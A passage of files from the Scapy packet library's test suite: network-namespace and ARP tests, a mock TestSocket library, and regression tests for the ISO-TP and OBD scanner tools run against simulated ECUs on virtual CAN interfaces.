answer_arp_leak\")\n\nt_answer.start()\nstarted.wait(timeout=5)\n\n@mock.patch(\"scapy.layers.l2.get_if_addr\")\n@mock.patch(\"scapy.layers.l2.get_if_hwaddr\")\ndef test_arpleak(mock_get_if_hwaddr, mock_get_if_addr, hwlen=255, plen=255):\n    conf.route.ifadd(\"tap0\", \"192.0.2.0/24\")\n    mock_get_if_addr.side_effect = lambda _: \"192.0.2.1\"\n    mock_get_if_hwaddr.side_effect = lambda _: \"00:01:02:03:04:05\"\n    return arpleak(\"192.0.2.2/31\", timeout=2, hwlen=hwlen, plen=plen)\n\nans, unans = test_arpleak()\nassert len(ans) == 1\nassert len(unans) == 1\nans, unans = test_arpleak(hwlen=6)\nassert len(ans) == 1\nassert len(unans) == 1\nans, unans = test_arpleak(plen=4)\nassert len(ans) == 1\nassert len(unans) == 1\n\nt_answer.join(15)\n\nif t_answer.is_alive():\n    raise Exception(\"Test timed out\")\n\nif conf.use_pypy:\n    # See https://pypy.readthedocs.io/en/latest/cpython_differences.html\n    tap0.close()\nelse:\n    del tap0\n\n#####\n#####\n+ Test sr() on multiple interfaces\n\n= Setup multiple linux interfaces and ranges\n~ linux needs_root dbg\n\nimport os\nexit_status = os.system(\"ip netns add blob0\")\nexit_status |= os.system(\"ip netns add blob1\")\nexit_status |= os.system(\"ip link add name scapy0.0 type veth peer name scapy0.1\")\nexit_status |= os.system(\"ip link add name scapy1.0 type veth peer name scapy1.1\")\nexit_status |= os.system(\"ip link set scapy0.1 netns blob0 up\")\nexit_status |= os.system(\"ip link set scapy1.1 netns blob1 up\")\nexit_status |= os.system(\"ip addr add 100.64.2.1/24 dev scapy0.0\")\nexit_status |= os.system(\"ip addr add 100.64.3.1/24 dev scapy1.0\")\nexit_status |= os.system(\"ip --netns blob0 addr add 100.64.2.2/24 dev scapy0.1\")\nexit_status |= os.system(\"ip --netns blob1 addr add 100.64.3.2/24 dev scapy1.1\")\nexit_status |= os.system(\"ip link set scapy0.0 up\")\nexit_status |= os.system(\"ip link set scapy1.0 up\")\nassert exit_status == 0\n\nconf.ifaces.reload()\nconf.route.resync()\n\ntry:\n    pkts = sr(IP(dst=[\"100.64.2.2\", \"100.64.3.2\"])/ICMP(), timeout=1)[0]\n    assert len(pkts) == 2\n    assert pkts[0].answer.src in [\"100.64.2.2\", \"100.64.3.2\"]\n    assert pkts[1].answer.src in [\"100.64.2.2\", \"100.64.3.2\"]\nfinally:\n    e = os.system(\"ip netns del blob0\")\n    e = os.system(\"ip netns del blob1\")\n    conf.ifaces.reload()\n    conf.route.resync()\n\n\n= sr() performance test\n~ linux needs_root veth not_pypy\n\nimport subprocess\nimport shlex\n\ntry:\n    # Create a dedicated network name space to simulate remote host\n    subprocess.check_call(shlex.split(\"sudo ip netns add scapy\"))\n    # Create a virtual Ethernet pair to connect default and new NS\n    subprocess.check_call(shlex.split(\"sudo ip link add type veth\"))\n    # Move veth1 to the new NS\n    subprocess.check_call(shlex.split(\"sudo ip link set veth1 netns scapy\"))\n    # Setup vNIC in the default NS\n    subprocess.check_call(shlex.split(\"sudo ip link set veth0 up\"))\n    subprocess.check_call(shlex.split(\"sudo ip addr add 192.168.168.1/24 dev veth0\"))\n    # Setup vNIC in the dedicated NS\n    subprocess.check_call(shlex.split(\"sudo ip netns exec scapy ip link set lo up\"))\n    subprocess.check_call(shlex.split(\"sudo ip netns exec scapy ip link set veth1 up\"))\n    subprocess.check_call(shlex.split(\"sudo ip netns exec scapy ip addr add 192.168.168.2/24 dev veth1\"))\n    # Perform test\n    conf.route.resync()\n    res, unansw = sr(IP(dst='192.168.168.2') / ICMP(seq=(1, 1000)), timeout=1, verbose=False)\nfinally:\n    try:\n        # Bring down the interfaces\n        subprocess.check_call(shlex.split(\"sudo ip netns exec scapy ip link set veth1 down\"))\n        subprocess.check_call(shlex.split(\"sudo ip netns exec scapy ip link set lo down\"))\n        # Delete the namespace\n        subprocess.check_call(shlex.split(\"sudo ip netns delete scapy\"))\n        # Remove the virtual Ethernet pair\n        subprocess.check_call(shlex.split(\"sudo ip link delete veth0\"))\n    except subprocess.CalledProcessError as e:\n        print(f\"Error during cleanup: {e}\")\n\nlen(res) == 1000\n\n"
  },
  {
    "path": "test/testsocket.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Nils Weiss <nils@we155.de>\n\n# scapy.contrib.description = TestSocket library for unit tests\n# scapy.contrib.status = library\n\nimport time\nimport random\n\nfrom threading import Lock\n\nfrom scapy.config import conf\nfrom scapy.automaton import ObjectPipe, select_objects\nfrom scapy.data import MTU\nfrom scapy.packet import Packet\nfrom scapy.error import Scapy_Exception\n\n# Typing imports\nfrom typing import (\n    Optional,\n    Type,\n    Tuple,\n    Any,\n    List,\n)\nfrom scapy.supersocket import SuperSocket\n\nfrom scapy.plist import (\n    PacketList,\n    SndRcvList,\n)\n\n\nopen_test_sockets = list()  # type: List[TestSocket]\n\n\nclass TestSocket(SuperSocket):\n\n    test_socket_mutex = Lock()\n\n    def __init__(self,\n                 basecls=None,  # type: Optional[Type[Packet]]\n                 external_obj_pipe=None  # type: Optional[ObjectPipe[bytes]]\n                 ):\n        # type: (...) -> None\n        global open_test_sockets\n        self.basecls = basecls\n        self.paired_sockets = list()  # type: List[TestSocket]\n        self.ins = external_obj_pipe or ObjectPipe(name=\"TestSocket\")  # type: ignore\n        self._has_external_obj_pip = external_obj_pipe is not None\n        self.outs = None\n        open_test_sockets.append(self)\n\n    def __enter__(self):\n        # type: () -> TestSocket\n        return self\n\n    def __exit__(self, exc_type, exc_value, traceback):\n        # type: (Optional[Type[BaseException]], Optional[BaseException], Optional[Any]) -> None  # noqa: E501\n        \"\"\"Close the socket\"\"\"\n        self.close()\n\n    def sr(self, *args, **kargs):\n        # type: (Any, Any) -> Tuple[SndRcvList, PacketList]\n        \"\"\"Send and Receive multiple packets\n        \"\"\"\n        from scapy import sendrecv\n        return sendrecv.sndrcv(self, *args, threaded=False, **kargs)\n\n    def sr1(self, *args, **kargs):\n        # type: (Any, Any) -> Optional[Packet]\n        \"\"\"Send one packet and receive one answer\n        \"\"\"\n        from scapy import sendrecv\n        ans = sendrecv.sndrcv(self, *args, threaded=False, **kargs)[0]  # type: SndRcvList\n        if len(ans) > 0:\n            pkt = ans[0][1]  # type: Packet\n            return pkt\n        else:\n            return None\n\n    def close(self):\n        # type: () -> None\n        global open_test_sockets\n\n        if self.closed:\n            return\n\n        for s in self.paired_sockets:\n            try:\n                s.paired_sockets.remove(self)\n            except (ValueError, AttributeError, TypeError):\n                pass\n\n        if not self._has_external_obj_pip:\n            super(TestSocket, self).close()\n        else:\n            # We don't close external object pipes\n            self.closed = True\n\n        try:\n            open_test_sockets.remove(self)\n        except (ValueError, AttributeError, TypeError):\n            pass\n\n    def pair(self, sock):\n        # type: (TestSocket) -> None\n        self.paired_sockets += [sock]\n        sock.paired_sockets += [self]\n\n    def send(self, x):\n        # type: (Packet) -> int\n        sx = bytes(x)\n        for r in self.paired_sockets:\n            r.ins.send(sx)\n        try:\n            x.sent_time = time.time()\n        except AttributeError:\n            pass\n        return len(sx)\n\n    def recv_raw(self, x=MTU):\n        # type: (int) -> Tuple[Optional[Type[Packet]], Optional[bytes], Optional[float]]  # noqa: E501\n        \"\"\"Returns a tuple containing (cls, pkt_data, time)\"\"\"\n        return self.basecls, self.ins.recv(0), time.time()\n\n    @staticmethod\n    def select(sockets, remain=conf.recv_poll_rate):\n        # type: (List[SuperSocket], Optional[float]) -> List[SuperSocket]\n        return select_objects(sockets, remain)\n\n\nclass UnstableSocket(TestSocket):\n    \"\"\"\n    This is an unstable socket which randomly fires exceptions or loses\n    packets on recv.\n    \"\"\"\n\n    def __init__(self,\n                 basecls=None,  # type: Optional[Type[Packet]]\n                 external_obj_pipe=None  # type: Optional[ObjectPipe[bytes]]\n                 ):\n        # type: (...) -> None\n        super(UnstableSocket, self).__init__(basecls, external_obj_pipe)\n        self.no_error_for_x_rx_pkts = 10\n        self.no_error_for_x_tx_pkts = 10\n\n    def send(self, x):\n        # type: (Packet) -> int\n        if self.no_error_for_x_tx_pkts == 0:\n            if random.randint(0, 1000) == 42:\n                self.no_error_for_x_tx_pkts = 10\n                print(\"SOCKET CLOSED\")\n                raise OSError(\"Socket closed\")\n        if self.no_error_for_x_tx_pkts > 0:\n            self.no_error_for_x_tx_pkts -= 1\n        return super(UnstableSocket, self).send(x)\n\n    def recv(self, x=MTU, **kwargs):\n        # type: (int, **Any) -> Optional[Packet]\n        if self.no_error_for_x_tx_pkts == 0:\n            if random.randint(0, 1000) == 42:\n                self.no_error_for_x_tx_pkts = 10\n                raise OSError(\"Socket closed\")\n            if random.randint(0, 1000) == 13:\n                self.no_error_for_x_tx_pkts = 10\n                raise Scapy_Exception(\"Socket closed\")\n            if random.randint(0, 1000) == 7:\n                self.no_error_for_x_tx_pkts = 10\n                raise ValueError(\"Socket closed\")\n            if random.randint(0, 1000) == 113:\n                self.no_error_for_x_tx_pkts = 10\n                return None\n        if self.no_error_for_x_tx_pkts > 0:\n            self.no_error_for_x_tx_pkts -= 1\n        return super(UnstableSocket, self).recv(x, **kwargs)\n\n\nclass SlowTestSocket(TestSocket):\n    \"\"\"A TestSocket that simulates the mux/throttle behavior of\n    PythonCANSocket on a slow serial interface (like slcan).\n\n    Frames sent to this socket go into an intermediate serial buffer.\n    They only become visible to recv()/select() after mux() moves\n    them to the rx ObjectPipe.\n\n    Key parameters model the real slcan timing bottleneck:\n    - frame_delay: per-frame serial read time (~2-3ms on real slcan)\n    - serial_timeout: blocking wait when serial buffer is empty.\n      Real python-can slcan uses serial.Serial(timeout=0.1), so\n      bus.recv(timeout=0) blocks for 100ms when buffer is empty.\n    - read_time_limit: max time spent reading per mux call, matching\n      SocketMapper.READ_BUS_TIME_LIMIT in production code.\n\n    can_filters: Optional list of CAN identifiers for per-socket\n    filtering.  When set, mux reads all frames but only delivers\n    matching ones, like SocketMapper.distribute() + _matches_filters.\n    \"\"\"\n\n    def __init__(self, basecls=None, frame_delay=0.0002,\n                 mux_throttle=0.001, can_filters=None,\n                 serial_timeout=0.0, read_time_limit=0.0,\n                 interface_name=\"slcan\"):\n        # type: (Optional[Type[Packet]], float, float, Optional[List[int]], float, float, str) -> None  # noqa: E501\n        \"\"\"\n        :param frame_delay: Simulated per-frame serial read time (seconds).\n        :param mux_throttle: Minimum time between mux calls (default 1ms).\n        :param can_filters: Optional list of CAN identifiers for filtering.\n        :param serial_timeout: Time to block when serial buffer is empty\n            (models python-can slcan serial.Serial(timeout=0.1)).\n            Set to 0.1 to reproduce real slcan behavior.\n        :param read_time_limit: Max time per mux read pass (seconds).\n            Set to 0.02 to match SocketMapper.READ_BUS_TIME_LIMIT.\n            When 0 (default), no time limit is applied.\n        :param interface_name: Simulated interface name (default \"slcan\").\n            Used in test descriptions to identify the adapter type.\n        \"\"\"\n        super(SlowTestSocket, self).__init__(basecls)\n        self.interface_name = interface_name\n        from collections import deque\n        self._serial_buffer = deque()  # type: deque[bytes]\n        self._serial_lock = Lock()\n        self._last_mux = 0.0\n        self._frame_delay = frame_delay\n        self._mux_throttle = mux_throttle\n        self._can_filters = can_filters\n        self._serial_timeout = serial_timeout\n        self._read_time_limit = read_time_limit\n        self._real_ins = self.ins\n        self.ins = _SlowPipeWrapper(self)  # type: ignore[assignment]\n\n    @staticmethod\n    def _extract_can_id(frame):\n        # type: (bytes) -> int\n        \"\"\"Extract CAN identifier from raw CAN frame bytes.\"\"\"\n        import struct\n        if len(frame) < 4:\n            return -1\n        return int(struct.unpack('!I', frame[:4])[0] & 0x1FFFFFFF)\n\n    def _mux(self):\n        # type: () -> None\n        \"\"\"Move frames from serial buffer to rx ObjectPipe.\n\n        Models the real PythonCANSocket read path:\n        1. read_bus(): loop calling bus.recv(timeout=0) — each call\n           takes frame_delay when data is available, or serial_timeout\n           when the buffer is empty (modeling slcan serial timeout).\n        2. distribute(): deliver matching frames to the ObjectPipe.\n\n        With read_time_limit > 0, the read loop stops after that many\n        seconds (matching SocketMapper.READ_BUS_TIME_LIMIT).\n        \"\"\"\n        now = time.monotonic()\n        if now - self._last_mux < self._mux_throttle:\n            return\n\n        # Phase 1: read_bus — read frames from serial buffer\n        msgs = []\n        deadline = time.monotonic() + self._read_time_limit \\\n            if self._read_time_limit > 0 else None\n        while True:\n            if self.closed:\n                break\n            with self._serial_lock:\n                if self._serial_buffer:\n                    frame = self._serial_buffer.popleft()\n                else:\n                    frame = None\n            if frame is None:\n                # Empty buffer: model the serial timeout blocking\n                if self._serial_timeout > 0:\n                    time.sleep(self._serial_timeout)\n                break\n            if self._frame_delay > 0:\n                time.sleep(self._frame_delay)\n            msgs.append(frame)\n            if deadline and time.monotonic() >= deadline:\n                break\n\n        # Phase 2: distribute — apply per-socket filtering\n        for frame in msgs:\n            if self._can_filters is not None:\n                can_id = self._extract_can_id(frame)\n                if can_id not in self._can_filters:\n                    continue\n            self._real_ins.send(frame)\n\n        self._last_mux = time.monotonic()\n\n    def recv_raw(self, x=MTU):\n        # type: (int) -> Tuple[Optional[Type[Packet]], Optional[bytes], Optional[float]]  # noqa: E501\n        \"\"\"Read from the rx ObjectPipe (populated by mux via select).\"\"\"\n        return self.basecls, self._real_ins.recv(0), time.time()\n\n    def send(self, x):\n        # type: (Packet) -> int\n        if self._frame_delay > 0:\n            time.sleep(self._frame_delay)\n        return super(SlowTestSocket, self).send(x)\n\n    @staticmethod\n    def select(sockets, remain=conf.recv_poll_rate):\n        # type: (List[SuperSocket], Optional[float]) -> List[SuperSocket]\n        for s in sockets:\n            if isinstance(s, SlowTestSocket):\n                s._mux()\n        return select_objects(sockets, remain)\n\n    def close(self):\n        # type: () -> None\n        self.ins = self._real_ins\n        super(SlowTestSocket, self).close()\n\n\nclass _SlowPipeWrapper:\n    \"\"\"Wrapper that intercepts send() to route into serial buffer.\"\"\"\n    def __init__(self, owner):\n        # type: (SlowTestSocket) -> None\n        self._owner = owner\n\n    def send(self, data):\n        # type: (bytes) -> None\n        with self._owner._serial_lock:\n            self._owner._serial_buffer.append(data)\n\n    def recv(self, timeout=0):\n        # type: (int) -> Optional[bytes]\n        return self._owner._real_ins.recv(timeout)\n\n    def fileno(self):\n        # type: () -> int\n        return self._owner._real_ins.fileno()\n\n    def close(self):\n        # type: () -> None\n        self._owner._real_ins.close()\n\n    @property\n    def closed(self):\n        # type: () -> bool\n        return bool(self._owner._real_ins.closed)  # type: ignore[attr-defined]\n\n\ndef cleanup_testsockets():\n    # type: () -> None\n    \"\"\"\n    Helper function to remove TestSocket objects after a test\n    \"\"\"\n    count = max(len(open_test_sockets), 1)\n    while len(open_test_sockets) and count:\n        sock = open_test_sockets[0]\n        sock.close()\n        count -= 1\n"
  },
  {
    "path": "test/tools/isotpscanner.uts",
    "content": "% Regression tests for isotpscanner\n~ vcan_socket needs_root linux not_pypy automotive_comm scanner\n\n\n+ Configuration\n~ conf\n\n= Imports\nwith open(scapy_path(\"test/contrib/automotive/interface_mockup.py\")) as f:\n    exec(f.read())\n\nISOTPSocket = ISOTPSoftSocket\n\nfrom unittest.mock import patch\n\n+ Usage tests\n\n= Test wrong usage\n\nresult = subprocess.Popen([sys.executable, \"scapy/tools/automotive/isotpscanner.py\"], stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n\nstd_out, std_err = result.communicate()\nif result.returncode:\n    print(std_out)\n    print(std_err)\n\nassert result.returncode != 0\n\nexpected_output = plain_str(b'usage:')\nassert expected_output in plain_str(std_err)\n\n\n= Test show help\n\nresult = subprocess.Popen([sys.executable, \"scapy/tools/automotive/isotpscanner.py\", \"--help\"], stdout=subprocess.PIPE, stderr=subprocess.PIPE)\nstd_out, _ = result.communicate()\nexpected_output = plain_str(b'Scan for open ISOTP-Sockets.')\n\nassert result.wait() == 0\nassert expected_output in plain_str(std_out)\n\n\n= Test Python2 call\n\nresult = subprocess.Popen([sys.executable, \"scapy/tools/automotive/isotpscanner.py\", \"-i\", \"socketcan\", \"-c\", iface0, \"-s\", \"0x600\", \"-e\", \"0x600\", \"-v\", \"-n\", \"0\", \"-t\", \"0\"], stdout=subprocess.PIPE, stderr=subprocess.PIPE)\nreturncode = result.wait()\nexpected_output = plain_str(b'Start scan')\nstd_out, std_err = result.communicate()\n\nassert returncode == 0\nassert expected_output in plain_str(std_out)\n\n= Test Python2 call with one python-can arg\n\nresult = subprocess.Popen([sys.executable, \"scapy/tools/automotive/isotpscanner.py\", \"-i\", \"socketcan\", \"-c\", iface0, \"-a\", \"bitrate=500000\", \"-s\", \"0x600\", \"-e\", \"0x600\", \"-v\", \"-n\", \"0\", \"-t\", \"0\"], stdout=subprocess.PIPE, stderr=subprocess.PIPE)\nreturncode = result.wait()\nexpected_output = plain_str(b'Start scan')\nstd_out, std_err = result.communicate()\n\nassert returncode == 0\nassert expected_output in plain_str(std_out)\n\n\n= Test Python2 call with multiple python-can args\n\nresult = subprocess.Popen([sys.executable, \"scapy/tools/automotive/isotpscanner.py\", \"-i\", \"socketcan\", \"-c\", iface0, \"-a\", \"bitrate=500000 receive_own_messages=True\", \"-s\", \"0x600\", \"-e\", \"0x600\", \"-v\", \"-n\", \"0\", \"-t\", \"0\"], stdout=subprocess.PIPE, stderr=subprocess.PIPE)\nreturncode = result.wait()\nexpected_output = plain_str(b'Start scan')\nstd_out, std_err = result.communicate()\n\nassert returncode == 0\nassert expected_output in plain_str(std_out)\n\n= Test Python2 call with multiple python-can args 2\n\nresult = subprocess.Popen([sys.executable, \"scapy/tools/automotive/isotpscanner.py\", \"-i\", \"socketcan\", \"-c\", iface0, \"--python-can_args\", \"bitrate=500000 receive_own_messages=True\", \"-s\", \"0x600\", \"-e\", \"0x600\", \"-v\", \"-n\", \"0\", \"-t\", \"0\"], stdout=subprocess.PIPE, stderr=subprocess.PIPE)\nreturncode = result.wait()\nexpected_output = plain_str(b'Start scan')\nstd_out, std_err = result.communicate()\n\nassert returncode == 0\nassert expected_output in plain_str(std_out)\n\n\n+ Scan tests\n\n= Test standard scan\n\nexit_if_no_isotp_module()\n\ndrain_bus(iface0)\n\nrecv_result = subprocess.Popen((\"isotprecv -s 700 -d 600 -l \" + iface0).split())\nresult = subprocess.Popen([sys.executable, \"scapy/tools/automotive/isotpscanner.py\"] + can_socket_string_list + [\"-s\", \"0x600\", \"-e\", \"0x600\"], stdout=subprocess.PIPE, stderr=subprocess.PIPE)\nreturncode1 = result.wait()\nstd_out1, std_err1 = result.communicate()\nrecv_result.terminate()\n\nprint(std_out1)\nprint(std_err1)\n\nassert returncode1 == 0\n\nexpected_output = [b'0x600', b'0x700']\nfor out in expected_output:\n    assert plain_str(out) in plain_str(std_out1)\n\n\n= Test extended scan\n\ndef isotp_scan(sock,  # type: SuperSocket\n               scan_range=range(0x7ff + 1),  # type: Iterable[int]\n               extended_addressing=False,  # type: bool\n               extended_scan_range=range(0x100),  # type: Iterable[int]\n               noise_listen_time=2,  # type: int\n               sniff_time=0.1,  # type: float\n               output_format=None,  # type: Optional[str]\n               can_interface=None,  # type: Optional[str]\n               extended_can_id=False,  # type: bool\n               verbose=False  # type: bool\n               ):\n    # type: (...) -> Union[str, List[SuperSocket]]\n    assert sock is not None\n    assert 0x601 in scan_range\n    assert 0x602 not in scan_range\n    assert extended_addressing == True\n    assert 0 in extended_scan_range\n    assert 0xff in extended_scan_range\n    assert output_format == \"text\"\n    assert verbose == False\n    assert extended_can_id == False\n    assert \"vcan0\" in can_interface\n    return \"Success\"\n\ntestargs = [\"scapy/tools/automotive/isotpscanner.py\"] + can_socket_string_list + [\"-s\", \"0x601\", \"-e\", \"0x601\", \"-x\"]\nwith patch.object(sys, \"argv\", testargs), patch.object(scapy.contrib.isotp, \"isotp_scan\", isotp_scan):\n    from scapy.tools.automotive.isotpscanner import main\n    main()\n\n\n= Test scan with piso flag\n\ndef isotp_scan(sock,  # type: SuperSocket\n               scan_range=range(0x7ff + 1),  # type: Iterable[int]\n               extended_addressing=False,  # type: bool\n               extended_scan_range=range(0x100),  # type: Iterable[int]\n               noise_listen_time=2,  # type: int\n               sniff_time=0.1,  # type: float\n               output_format=None,  # type: Optional[str]\n               can_interface=None,  # type: Optional[str]\n               extended_can_id=False,  # type: bool\n               verbose=False  # type: bool\n               ):\n    # type: (...) -> Union[str, List[SuperSocket]]\n    assert sock is not None\n    assert 0x601 in scan_range\n    assert 0x602 not in scan_range\n    assert extended_addressing == True\n    assert 0 in extended_scan_range\n    assert 0xff in extended_scan_range\n    assert output_format == \"code\"\n    assert verbose == False\n    assert extended_can_id == False\n    assert \"vcan0\" in can_interface\n    return \"Success\"\n\ntestargs = [\"scapy/tools/automotive/isotpscanner.py\"] + can_socket_string_list + [\"-s\", \"0x601\", \"-e\", \"0x601\", \"-x\", \"-C\"]\nwith patch.object(sys, \"argv\", testargs), patch.object(scapy.contrib.isotp, \"isotp_scan\", isotp_scan):\n    from scapy.tools.automotive.isotpscanner import main\n    main()\n\n\n+ Cleanup\n\n= Delete vcan interfaces\n\nassert cleanup_interfaces()\n"
  },
  {
    "path": "test/tools/obdscanner.uts",
    "content": "% Regression tests for obdscanner\n~ vcan_socket needs_root linux not_pypy automotive_comm scanner\n\n+ Configuration\n~ conf\n\n= Imports\nwith open(scapy_path(\"test/contrib/automotive/interface_mockup.py\")) as f:\n    exec(f.read())\n\nload_contrib(\"automotive.ecu\", globals_dict=globals())\n\n+ Usage tests\n\n= Test wrong usage\nprint(sys.executable)\nresult = subprocess.Popen([sys.executable, \"scapy/tools/automotive/obdscanner.py\"], stdout=subprocess.PIPE, stderr=subprocess.PIPE)\nreturncode = result.wait()\nstd_out, std_err = result.communicate()\nassert returncode != 0\n\nexpected_output = plain_str(b'usage:')\nassert expected_output in plain_str(std_err)\n\n\n= Test show help\nresult = subprocess.Popen([sys.executable, \"scapy/tools/automotive/obdscanner.py\", \"--help\"], stdout=subprocess.PIPE, stderr=subprocess.PIPE)\nassert result.wait() == 0\nstd_out, std_err = result.communicate()\nexpected_output = plain_str(b'Scan for all possible obd service classes and their subfunctions.')\nassert expected_output in plain_str(std_out)\n\n+ Scan tests\n\n= Load contribution layer\n\nfrom scapy.contrib.automotive.obd.obd import *\n\n+ Simulate scanner\n\n= Test DTC scan\n\ndrain_bus(iface0)\n\ns3 = OBD()/OBD_S03_PR(dtcs=[OBD_DTC()])\n\nexample_responses = [EcuResponse(responses=s3)]\n\nwith new_can_socket0() as isocan, ISOTPSocket(isocan, 0x7e8, 0x7e0, basecls=OBD, padding=True) as ecu, \\\n        new_can_socket0() as isocan2, ISOTPSocket(isocan2, 0x7e0, 0x7e8, basecls=OBD, padding=True) as tester:\n    conf.verb = -1\n    answering_machine = EcuAnsweringMachine(supported_responses=example_responses, main_socket=ecu, basecls=OBD, verbose=False)\n    sim = threading.Thread(target=answering_machine, kwargs={'verbose': False, 'timeout': 15, 'stop_filter': lambda p: bytes(p) == b\"\\x01\\xff\\xff\\xff\\xff\"})\n    sim.start()\n    try:\n        result = subprocess.Popen([sys.executable, \"scapy/tools/automotive/obdscanner.py\"] + can_socket_string_list + [\"-s\", \"0x7e0\", \"-d\", \"0x7e8\", \"-t\", \"0.30\"], stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n        std_out1, std_err1 = result.communicate()\n        result = subprocess.Popen([sys.executable, \"scapy/tools/automotive/obdscanner.py\"] + can_socket_string_list + [\"-s\", \"0x7e0\", \"-d\", \"0x7e8\", \"-t\", \"0.30\"], stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n        std_out2, std_err2 = result.communicate()\n    except Exception as e:\n        print(e)\n    finally:\n        tester.send(b\"\\x01\\xff\\xff\\xff\\xff\")\n        sim.join(timeout=10)\n    expected_output = b\"1 requests were sent, 1 answered\"\n    assert bytes_encode(expected_output) in bytes_encode(std_out1) or bytes_encode(expected_output) in bytes_encode(std_out2) \n\n= Test supported PIDs scan\n\ndrain_bus(iface0)\n\ns1_pid00 = OBD()/OBD_S01_PR(data_records=[OBD_S01_PR_Record()/OBD_PID00(supported_pids=\"PID03+PID0B+PID0F\")])\ns6_mid00 = OBD()/OBD_S06_PR(data_records=[OBD_S06_PR_Record()/OBD_MID00(supported_mids=\"\")])\ns8_tid00 = OBD()/OBD_S08_PR(data_records=[OBD_S08_PR_Record()/OBD_TID00(supported_tids=\"\")])\ns9_iid00 = OBD()/OBD_S09_PR(data_records=[OBD_S09_PR_Record()/OBD_IID00(supported_iids=\"\")])\n\ns1_pid03 = OBD()/OBD_S01_PR(data_records=[OBD_S01_PR_Record()/OBD_PID03(fuel_system1=0, fuel_system2=2)])\ns1_pid0B = OBD()/OBD_S01_PR(data_records=[OBD_S01_PR_Record()/OBD_PID0B(data=100)])\ns1_pid0F = OBD()/OBD_S01_PR(data_records=[OBD_S01_PR_Record()/OBD_PID0F(data=50)])\n\n# Create answers for 'supported PIDs scan'\nexample_responses = \\\n    [EcuResponse(responses=s3),\n     EcuResponse(responses=s1_pid00),\n     EcuResponse(responses=s6_mid00),\n     EcuResponse(responses=s8_tid00),\n     EcuResponse(responses=s9_iid00),\n     EcuResponse(responses=s1_pid03),\n     EcuResponse(responses=s1_pid0B),\n     EcuResponse(responses=s1_pid0F)]\n\n\n\nwith new_can_socket0() as isocan, ISOTPSocket(isocan, 0x7e8, 0x7e0, basecls=OBD, padding=True) as ecu, \\\n        new_can_socket0() as isocan2, ISOTPSocket(isocan2, 0x7e0, 0x7e8, basecls=OBD, padding=True) as tester:\n    answering_machine = EcuAnsweringMachine(supported_responses=example_responses, main_socket=ecu, basecls=OBD, verbose=False)\n    sim = threading.Thread(target=answering_machine, kwargs={'verbose': False, 'timeout': 100, 'stop_filter': lambda p: bytes(p) == b\"\\x01\\xff\\xff\\xff\\xff\"})\n    sim.start()\n    try:\n        result = subprocess.Popen([sys.executable, \"scapy/tools/automotive/obdscanner.py\"] + can_socket_string_list + [\"-s\", \"0x7e0\", \"-d\", \"0x7e8\", \"-t\", \"0.30\"], stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n        std_out1, std_err1 = result.communicate()\n        print(std_out2, std_err2)\n        result = subprocess.Popen([sys.executable, \"scapy/tools/automotive/obdscanner.py\"] + can_socket_string_list + [\"-s\", \"0x7e0\", \"-d\", \"0x7e8\", \"-t\", \"0.30\"], stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n        std_out2, std_err2 = result.communicate()\n        print(std_out2, std_err2)\n    except Exception as e:\n        print(e)\n    finally:\n        tester.send(b\"\\x01\\xff\\xff\\xff\\xff\")\n        sim.join(timeout=10)\n    expected_output = [\"supported_pids=PID0F+PID0B+PID03\", \"fuel_system1=OpenLoopInsufficientEngineTemperature fuel_system2=ClosedLoop\", \"data=100 kPa\", \"data=50.0 deg. C\"]\n    for out in expected_output:\n        assert bytes_encode(out) in bytes_encode(std_out1) or bytes_encode(out) in bytes_encode(std_out2)  \n\n= Test only Service 01 PIDs scan\n\ndrain_bus(iface0)\n\ns1_pid00 = OBD()/OBD_S01_PR(data_records=[OBD_S01_PR_Record()/OBD_PID00(supported_pids=\"PID03+PID0B+PID0F\")])\ns6_mid00 = OBD()/OBD_S06_PR(data_records=[OBD_S06_PR_Record()/OBD_MID00(supported_mids=\"\")])\ns8_tid00 = OBD()/OBD_S08_PR(data_records=[OBD_S08_PR_Record()/OBD_TID00(supported_tids=\"\")])\ns9_iid00 = OBD()/OBD_S09_PR(data_records=[OBD_S09_PR_Record()/OBD_IID00(supported_iids=\"\")])\n\ns1_pid03 = OBD()/OBD_S01_PR(data_records=[OBD_S01_PR_Record()/OBD_PID03(fuel_system1=0, fuel_system2=2)])\ns1_pid0B = OBD()/OBD_S01_PR(data_records=[OBD_S01_PR_Record()/OBD_PID0B(data=100)])\ns1_pid0F = OBD()/OBD_S01_PR(data_records=[OBD_S01_PR_Record()/OBD_PID0F(data=50)])\n\n# Create answers for 'supported PIDs scan'\nexample_responses = \\\n    [EcuResponse(responses=s3),\n     EcuResponse(responses=s1_pid00),\n     EcuResponse(responses=s6_mid00),\n     EcuResponse(responses=s8_tid00),\n     EcuResponse(responses=s9_iid00),\n     EcuResponse(responses=s1_pid03),\n     EcuResponse(responses=s1_pid0B),\n     EcuResponse(responses=s1_pid0F)]\n\n\n\nwith new_can_socket0() as isocan, ISOTPSocket(isocan, 0x7e8, 0x7e0, basecls=OBD, padding=True) as ecu, \\\n        new_can_socket0() as isocan2, ISOTPSocket(isocan2, 0x7e0, 0x7e8, basecls=OBD, padding=True) as tester:\n    answering_machine = EcuAnsweringMachine(supported_responses=example_responses, main_socket=ecu, basecls=OBD, verbose=False)\n    sim = threading.Thread(target=answering_machine, kwargs={'verbose': False, 'timeout': 100, 'stop_filter':  lambda p: bytes(p) == b\"\\x01\\xff\\xff\\xff\\xff\"})\n    sim.start()\n    try:\n        result = subprocess.Popen([sys.executable, \"scapy/tools/automotive/obdscanner.py\"] + can_socket_string_list + [\"-s\", \"0x7e0\", \"-d\", \"0x7e8\", \"-t\", \"0.30\", \"-1\"], stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n        std_out1, std_err1 = result.communicate()\n        print(std_out1, std_err1)\n        result = subprocess.Popen([sys.executable, \"scapy/tools/automotive/obdscanner.py\"] + can_socket_string_list + [\"-s\", \"0x7e0\", \"-d\", \"0x7e8\", \"-t\", \"0.30\", \"-1\"], stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n        std_out2, std_err2 = result.communicate()\n        print(std_out2, std_err2)\n    except Exception as e:\n        print(e)\n    finally:\n        tester.send(b\"\\x01\\xff\\xff\\xff\\xff\")\n        sim.join(timeout=10)\n    expected_output = [\"supported_pids=PID0F+PID0B+PID03\", 